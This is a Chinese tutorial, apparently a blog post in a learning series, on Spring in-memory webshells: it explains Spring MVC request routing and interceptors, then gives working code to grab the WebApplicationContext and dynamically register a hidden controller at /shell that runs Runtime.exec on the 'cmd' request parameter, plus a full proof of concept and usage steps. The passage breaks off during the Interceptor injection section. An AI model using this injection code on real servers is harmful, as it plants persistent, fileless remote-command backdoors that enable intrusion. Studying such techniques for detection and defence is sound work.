内存马系列---Spring型

参考文章:

前言:

Spring 框架是构建在 Servlet 容器之上的,因此它有自己的一套路由和拦截机制。

在 Spring 体系中,最主流的内存马主要分为 Controller 型 和 Interceptor(拦截器)型。

在学习之前我们来回顾一些知识

基础提要

什么是Spring

Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IoC(Inversion of Control,控制反转) 和 **AOP(AspectOrientedProgramming, 面向切面编程)**。现如今Spring全家桶已是一个庞大的家族

image-20260415173103055

spring优点:

  • 方便解耦,简化开发
  • 对AOP编程的支持
  • 对声明式事务的支持
  • 方便程序的测试
  • 方便集成各种优秀框架
  • 降低JavaEEAPI的使用难度

Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。

img

SpringBoot

SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程。

采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等等。SpringBoot 应用中这些第 三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。

Tomcat和Servlet

首先来设想这样一个场景,假如让我们自己手动实现一个简易的Web服务器,我们会怎么做?

主要就是三部分:接受请求、处理请求、返回响应

首先我们肯定要接收客户端发来的TCP数据包,这里我们需要一个TCPServer来监听80端口。接着我们需要将TCP数据包解析成HTTP协议,获取URL路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP协议返回给浏览器,并且等浏览器收到响应后断开连接

img

当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web服务器。

Tomcat就是这样一种服务器,它其实就是一个能够监听TCP连接请求,解析HTTP报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP返回给浏览器的一个框架。在Tomcat各种组件中,Connnector就是负责网络通信的,而中的Servlet就是我们的逻辑处理器。

1
2
Connector (解析报文) -> Engine -> Host -> Context (存在之前我们提到🐎) -> Wrapper -> Servlet
					|---------------------------------Container-------------------------|

img

因此Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以我们的Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat。

Spring MVC

在 Spring MVC 中,绝大多数情况下,Tomcat 的 Wrapper 里面只装了一个 Servlet,它叫: DispatcherServlet(核心分发器)

1
2
Tomcat Connector → Container (Context) → Wrapper → DispatcherServlet (Spring的入口) → HandlerMapping (查地图) → Interceptor (拦截器) → Controller (业务逻辑)
												  |------------------------------------------Spring MVC----------------------------------------|

Spring MVC的运行流程:

img

客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。

  • DispatcherServlet:Tomcat 收到请求后,第一个调用的 Servlet,是整个 Spring MVC 的唯一入口
  • HandlerMapping: 根据 URL、HTTP 方法等条件定位 Controller 方法。它典型的实现 RequestMappingHandlerMapping,
  • HandlerMethod:controller 的内部组件, 封装了 bean + method + 参数解析信息(封装的这些东西在后面跟的过程中会重点分析);它是 Spring MVC 派发的核心对象。
  • HandlerMethodMapping: 是 Spring MVC 的核心路由映射组件,负责建立 URL 请求与 Controller 方法之间的”电话簿”关系,它可以理解为是 HandlerMaping 的具体实现。

Controller 内存马

基础知识

Bean

Bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

本质:就是一个普通的 Java 对象。

区别:它的出生(创建)、工作(使用)和死亡(销毁)都由 Spring 说了算,不需要你手动去 new。

IOC容器

如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护(你想用 A 类,A 依赖 B,你得先手动 new B(),再 new A(b)),不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。

解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。(你只需要告诉 Spring:“我需要 A 和 B”。Spring 自动帮你把 B 生产出来,再塞进 A 里面)

IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。

ApplicationContext

Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者

Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

也就是说,如果你想在 Spring 里动态加一个 Controller,你必须先拿到这个 ApplicationContext 对象。拿到了它,你就能控制整个 Spring 里的所有 Bean。

img

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

1
2
3
4
5
6
7
从前面Tomcat一系列东西到→ DispatcherServlet (内部持有 ApplicationContext 指针)
       				         ↓
     	     		调用 ApplicationContext 里的 HandlerMapping
     			             ↓
                    调用 ApplicationContext 里的 Interceptor
   			                 ↓
  				   调用 ApplicationContext 里的 Controller

我们在之前学习 tomcat 内存马的时候,用到的是 StandardContext,现在 spring 用到的是 webApplcationContext,(WebApplicationContext继承了ApplicationContext)

1
2
3
4
5
BeanFactory  ← 最顶层的IoC容器接口(基础功能)
    ↓ extends
ApplicationContext  ← 继承BeanFactory,增加企业级功能
    ↓ extends
WebApplicationContext  ← 继承ApplicationContext,增加Web功能

Controller 创建

声明:

  • Spring Boot 2.6.13

    Spring Framework v5.3.23

    Tomcat 8.5.81

    JDK 1.8.0_65

  • image-20260416100443955

  • image-20260416100525379

  • image-20260416104241937

    BasicController: 最基础的控制器。里面通常演示了如何通过 @RequestMapping 或 @GetMapping 来绑定一个 URL(比如 /hello)

    (BasicController自带的/hello后面还要加neme的参数,分析起来比较麻烦;所以在这里自己写了一个SpringController.java)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package org.example.spring.demos.web;
    
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    @Controller
    public class SpringController {
    
        @ResponseBody
        @RequestMapping("/hello")
        public String sayHello(){
            return "hello world";
        }
    }

    PathVariableController: 演示如何获取路径参数(比如 /user/{id})。

  • image-20260416104257169

Controller 处理器映射

处理器映射就是:建立 URL(请求路径)与 Controller(处理代码)之间的对应关系。先注册再查询。

一个是注册流程:项目启动时,Spring 扫描所有 Bean,将代码中的注解(如 @RequestMapping)“激活”并存入内存字典的过程。看清楚路由信息到底是以什么数据结构、存在哪个对象的哪个 Map 里的。

另一个就是动态查:项目运行中,当用户请求进来时,Spring 从内存字典里实时检索“该由谁处理这个 URL”的过程。验证查询逻辑是否真的依赖于注册流程生成的那个 Map。

之前学习的 servlet、filter、listener 等都是通过访问特定路由来访问上传的内存马,那么在 Spring 中直观体现路由逻辑的就是 Controller。

前面走http://127.0.0.1:8080/hello,当访问时,请求经过以下关键步骤:

  1. Servlet 容器层:请求先经过 Tomcat 内置容器的 Filter 链(如 WsFilter、RequestContextFilter)
  2. Spring MVC 入口:进入 DispatcherServlet(Spring MVC 核心前端控制器)
  3. 请求分发:DispatcherServlet.doDispatch() 方法负责请求分发,核心逻辑是找到匹配的 Controller 方法
  4. Handler 映射:通过 getHandler() 方法遍历 handlerMappings 列表,找到能处理 /index 路径的映射器
  5. 方法执行:调用匹配的 Controller 方法(MyController.index()),返回响应结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
客户端发起请求
    ↓
Tomcat接收 (Coyote连接器)
    ↓
Tomcat解析请求 (Http11Processor)
    ↓
Tomcat创建Request/Response对象
    ↓
Tomcat调用Filter链(WsFilter, CharacterEncodingFilter等)
    ↓
Tomcat调用Servlet (DispatcherServlet)//这里之前都是我们学过的
    ↓  ← 从这里开始进入Spring层
Spring MVC处理 (doDispatch)
    ↓
Spring调用Controller方法
    ↓
Spring返回ModelAndView
    ↓
Spring渲染视图
    ↓
Tomcat发送响应给客户端

断点调试,分析 Controller 的注册流程

  • image-20260416105248277

注册流程

AbstractHandlerMethodMapping.initHandlerMethods 处下断点调试

  • 进initHandlerMethods

    initHandlerMethods 方法扫描 ApplicationContext 中的 bean,检测和注册处理程序方法

    使用processCandidateBean方法中来处理bean

    断点要让他运行直到获得我们需要的 SpringController

    依次是这样子的:

    1
    2
    3
    4
    5
    6
    7
    8
    org.springframework.context.annotation.internalConfigurationAnnotationProcessor
    org.springframework.context.annotation.internalAutowiredAnnotationProcessor
    org.springframework.context.annotation.internalCommonAnnotationProcessor
    org.springframework.context.event.internalEventListenerProcessor
    org.springframework.context.event.internalEventListenerFactory
    application
    org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory
    springController

    image-20260416165747606

  • 进入 processCandidateBean 方法

    image-20260416165917951

    走getType() 获取到了 beanType

    image-20260416170025529

  • 接下来到进到判断

    image-20260416170256363

    判断该Bean是否为Handler对象,如果是的话,就将其传入detectHandlerMethods方法中

  • 进detectHandlerMethods()方法

    image-20260416170836267

    image-20260416170937944

  • registerHandlerMethod 执行注册操作,进registerHandlerMethod 看看

    image-20260416171225235

    image-20260416172814769

    最后存放到了mappingRegistry
    而且mappingRegistry在下面查询的时候也就会用到

动态查询

  • 调用链中我们看到了doDispatch

    image-20260416110409105

    doDispatch 函数通常出现在基于 Spring MVC 框架的 Java Web 应用程序中,它是 DispatcherServlet 类的一个方法。DispatcherServlet 是 Spring MVC 中的核心控制器(前端控制器),负责接收所有的 HTTP 请求,并根据请求映射(通常是通过注解或 XML 配置)来决定应该调用哪个控制器(Controller)来处理这个请求。 具体来说,doDispatch 方法的主要职责包括:

    1. 解析请求:从传入的 HTTP 请求中提取必要的信息,比如请求路径、请求方法等。
    2. 查找处理器:使用处理器映射(HandlerMapping)机制来找到能够处理当前请求的处理器对象(即 Controller 中的方法)。这一步骤涉及将 URL 路径与已注册的处理器进行匹配。
    3. 创建处理器适配器:一旦找到了合适的处理器,就会通过处理器适配器(HandlerAdapter)来调用该处理器。处理器适配器负责执行具体的控制逻辑,并返回一个模型视图对象(ModelAndView)。
    4. 渲染响应:基于处理器返回的模型视图对象,选择合适的视图解析器(ViewResolver)来生成最终的响应内容。这可能涉及到从数据库获取数据、调用业务逻辑服务等操作。
    5. 处理异常:如果在上述过程中发生任何异常,doDispatch 也会负责捕获这些异常并通过适当的异常解析器(ExceptionResolver)来处理它们,确保应用程序能够优雅地应对错误情况并给客户端返回有意义的信息。

    总之,doDispatch 在 Spring MVC 的工作流程中扮演了极其重要的角色,它协调了从接收到请求到产生响应的整个过程,是实现松耦合且可扩展Web应用的关键部分之一。

前面先注册完成我们才可以继续,看到代码是如何doDispatch查询

  • 我们从 doDispatch 开始看

    访问/hello,先进到getHandler()

    image-20260416112447631

    image-20260416112808468

  • getHandler() 中有一个 HandlerMappings,HandlerMappings 中存在 5 个HandlerMapping ,

    通过这五个来确定当前请求的处理程序

    image-20260416112849122

    @Nullable注解:它告诉 Spring 和其他开发者,这个变量(或参数、返回值)可以是 null

    • 接下里我们回到上面的getHandler(request)

      image-20260416115629863

      一步一步走:

      进getHandler

      image-20260416115705909

      再进getHandler

      image-20260416115726878

      走getHandlerInternal

      image-20260416115753582

      再走getHandlerInternal

      image-20260416115815433

      最后到了AbstractHandlerMethodMapping#getHandlerInternal

      image-20260416114628739

      • 而其中的 mappingRegistry 中存放着我们的路由信息(这里就提到了我们注册的时候的注册表mappingRegistry)

        image-20260416120000239

      • 这里首先对mappingRegistry进行上锁,最后在 finally 块中,进行解锁

        image-20260416120056156

      • 在 lookupPath 中获取了我们访问的路由

        image-20260416120213584

  • 再往下走,选择了适配器进行处理

    image-20260416113330379

    注释的意思是说确定当前请求的处理程序适配器

    通过 HandlerMapping 找到 Handler,getHandlerAdapter(mappedHandler.getHandler()) :根据找到的Handler的类型,找到能处理它的 HandlerAdapter。

  • 实时处理 handler

    image-20260416113524103

    所以整体的流程就是:

    第一步:getHandler(request)

    • 你进到这个方法里,看到它在遍历那 5 个 HandlerMapping
    • 关键点:当你 Debug 进到某一个具的 HandlerMapping(比如处理注解的那个)时,它内部会调用 getHandlerInternal
    • 结论:getHandlerInternal 是 getHandler 的子步骤。它的任务是去 Map 字典里查 /hello 在不在

    第二步:getHandlerAdapter(...)

    • 拿到上一步找回来的“人”(Handler),找一个适配器来驱动它

    **第三步:ha.handle(...) **

    • 注意:这个方法不只是“视图处理”,它是“执行业务逻辑 + 得到结果”
    • 它会去运行你写的 BasicController.hello() 代码
    • 运行完后,它会返回一个 ModelAndView (mv)

内存马编写

获取上下文

对于内存马的注入,最重要的事情就是获取上下文,在Tomcat中获取说的上下文为StandardContext,对于Spring获取的就是WebApplicationContext。

五种方法:

  1. ContextLoader
  2. WebApplicationContextUtils
  3. RequestContextUtils
  4. getAttribute
  5. 反射获取

ContextLoader

getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

WebApplicationContextUtils

通过这种方法获得的也是一个 Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

RequestContextUtils

通过 ServletRequest 类的实例来获得 Child WebApplicationContext。

1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

getAttribute

这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

反射获取

还可以通过反射获取LiveBeansView类的applicationContexts 属性来获取上下文。

1
2
3
4
5
6
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例。

注册 Controller

Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程。

Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;

Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。

三种方法:

  1. registerMapping
  2. registerHandler
  3. detectHandlerMethods

registerMapping

在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping

1
2
3
4
5
6
7
8
9
10
11
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

registerHandler

参考上面的 HandlerMapping 接口继承关系图,针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping

在其registerHandler()方法中:

image-20260416212447303

该方法接受 urlPath参数和 handler参数,可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap 中

1
2
3
4
5
6
7
8
9
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

detectHandlerMethods

image-20260416212546861

该方法仅接受handler参数,同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 并注册 controller 的实例 bean

1
2
3
4
5
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

实现恶意 Controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example.spring.demos.web;


import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class ControllerShell {
    public ControllerShell() {}

    public void shell() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

完整 POC

POC 并不唯一,想要复现成功取决于自己的运行环境,比如 spring boot 版本问题等,具体问题具体分析!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example.spring.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;

@Controller
public class shell_controller {

    //    @ResponseBody
    @RequestMapping("/control")
    public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {

        //获取当前上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        //手动注册Controller
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
        config.setPatternParser(r.getPatternParser());
        config.setPathMatcher(r.getPathMatcher());
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象

        Method method = Controller_Shell.class.getDeclaredMethod("shell");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 使用 Builder 模式动态注册,这样会自动处理路径匹配器的兼容性
        RequestMappingInfo info = RequestMappingInfo
                .paths("/shell")
                .methods(RequestMethod.GET) // 如果想支持所有方法,这行可以不写
                .options(config)            // 这一步最关键,它会帮你处理好路径解析器的兼容性
                .build();

        r.registerMapping(info, new Controller_Shell(), method);

    }

    public class Controller_Shell{

        public Controller_Shell(){}

        public void shell() throws IOException {

            //获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }

}

首先访问/control路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误。我们可以使用@ResponeBody来将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区。

image-20260416214925153

然后访问我们定义恶意Controller的路由/shell

image-20260416214937237

Interceptor 内存马

什么是Interceptor

Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。

在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。

  • 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
  • 通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义

Interceptor和Tomcat的Filter过滤器很类似。

区别如下:

  1. Interceptor基于反射,Filter基于函数回调
  2. Interceptor不依赖servlet容器
  3. Interceptor只能对action请求有用
  4. Interceptor可以访问action上下文,栈里的对象。Filter不能
  5. action生命周期中,Interceptor可以被多次调用,Filter只在容器初始化时调用一次
  6. Interceptor可以获取IOC容器中的bean,Filter不行

由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作

Interceptor 创建

Spring MVC 拦截器注册方式:

WebConfig:管理拦截器全局指挥,决定哪些拦截器该放行什么,该拦截什么

具体逻辑:它实现了 WebMvcConfigurer 接口,通过 addInterceptors 方法将 LoginInterceptor 注册进系统。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example.spring.demos.web.config;

import org.example.spring.demos.web.interceptor.LoginInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

/**
 * @Configuration:告诉 Spring 这是一个配置类,项目启动时会自动扫描并加载它
 * WebMvcConfigurer:Spring MVC 的增强接口,通过实现它来定制各种 MVC 组件(如拦截器、资源处理器等)
 */
@Configuration
public class WebConfig implements WebMvcConfigurer {

    /**
     * addInterceptors:专门用来管理拦截器的方法
     * @param registry:拦截器注册中心,所有的拦截器都得通过它排队挂载到系统中
     */
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        // 1. 将自定义的 LoginInterceptor 实例化并添加到注册中心
        registry.addInterceptor(new LoginInterceptor())
                
                // 2. addPathPatterns:定义拦截规则
                // "/**" 表示匹配服务器下的所有请求路径(包括多级路径)
                .addPathPatterns("/**")           
                
                // 3. excludePathPatterns:定义白名单
                // "/login" 路径不会触发该拦截器的逻辑,直接放行
                .excludePathPatterns("/login");   
    }
}

LoginController:处理具体的业务逻辑并返回结果。

具体逻辑:通过 @GetMapping 映射了两个路径:/login 负责显示登录页,/data 负责展示受保护的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example.spring.demos.web.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

/**
 * @RestController: 组合注解,相当于 @Controller + @ResponseBody。
 * 它会将返回的字符串直接写进 HTTP 响应体,而不是去找 HTML 页面。
 */
@RestController
public class LoginController {

    /**
     * 登录接口:在你的 WebConfig 中被 excludePathPatterns("/login") 排除掉了。
     * 行为:请求此路径时,Interceptor 的 preHandle 不会被触发,直接进入方法。
     */
    @GetMapping("/login")
    public String login() {
        return "Login Page";
    }

    /**
     * 数据接口:在你的 WebConfig 中被 addPathPatterns("/**") 包含。
     * 行为:请求此路径时,必须先经过 LoginInterceptor 的检查。
     * 内存马视角:如果我们注入了拦截器马,访问这个路径就会先执行我们的恶意逻辑。
     */
    @GetMapping("/data")
    public String data() {
        return "Protected Data";
    }
}

LoginInterceptor:在请求到达真正的业务逻辑(Controller)之前,先进行预处理。

它实现了 HandlerInterceptor 接口。

主要逻辑:它检查请求的 URL。如果是 /login 就放行(返回 true),否则就拦截并提示“先登录”(返回 false)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example.spring.demos.web.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

/**
 * 实现 HandlerInterceptor 接口,使其成为 Spring MVC 拦截器链条的一员
 */
public class LoginInterceptor implements HandlerInterceptor {

    /**
     * preHandle:在目标 Controller 方法执行之前被调用
     * 返回 true:放行,请求继续流向下一个拦截器或 Controller
     * 返回 false:中断,请求到此为止,不再向后传递
     */
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        // 1. 获取当前请求的完整 URL
        String url = String.valueOf(request.getRequestURL());
        
        // 2. 获取响应输出流,准备直接向浏览器写数据
        PrintWriter writer = response.getWriter();

        // 3. 逻辑判断:如果访问的是登录接口
        if(url.indexOf("/login") >= 0 ){
            writer.write("LoginIn"); // 输出提示
            writer.flush();
            writer.close();
            return true; // 放行,允许访问 LoginController 的 /login 方法
        }

        // 4. 逻辑判断:访问其他受限接口(如 /data)
        // 内存马视角:如果这是你的恶意代码,你可以把这里的判断逻辑改为执行系统命令
        writer.write("LoginInFirst"); // 拦截提示
        writer.flush();
        writer.close();
        return false; // 中断请求,用户看不到 Protected Data
    }
}

image-20260421203739266

image-20260421203844087

image-20260421203931283

Interceptor 流程分析

1
HttpRequest --> Filter --> DispactherServlet --> HandlerMapping --> Interceptor --> Aspect --> Controller

当请求进入 DispatcherServlet 后,它会通过 HandlerMapping 寻址,返回的是一个封装好的 HandlerExecutionChain 执行链对象。这个‘执行链’包中包含了一个匹配成功的处理器(Controller)和一组按序排列的拦截器(Interceptors)。随后,DispatcherServlet 会亲自动手,以循环遍历的方式依次调用链中拦截器的 preHandle 方法。只有当所有‘关卡’都放行后,才会执行真正的业务代码。因此,Interceptor 本质上是 DispatcherServlet 在调度 Controller 过程中实施的动态切面关卡。
所以说Interceptor 是 DispatcherServlet 内部调用 Controller 前后的“关卡”。

Interceptor 是介于 HandlerMapping 与 Controller 之间,也是属于 spring mvc 框架层的。

  • 所以还是在 DispatcherServlet.doDispatch 处下断点调试

    image-20260421205913215

    • 进getHandler()

      image-20260421210556054

      继续跟进,来到一个方法:getHandlerExecutionChain

      image-20260421214142439

      此处将adaptedInterceptors 中把符合的拦截器添加到 chain 里

      image-20260421214234626

  • 后面又将这个结果返回doDispatch

    image-20260421214343666

  • 在 doDispath 中执行 applyPreHandle 遍历执行了拦截器。

    image-20260421214548523

    Filter,controller,Interceptors执行的顺序

    img

  • preHandle( ):该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。

  • postHandle( ):该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。

  • afterCompletion( ):该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。

注册 Interceptor

获取Interceptor上下文

在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext的方法。下面我们还可以通过反射获取LiveBeansView类的applicationContexts 属性来获取上下文。

1
2
3
4
5
6
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
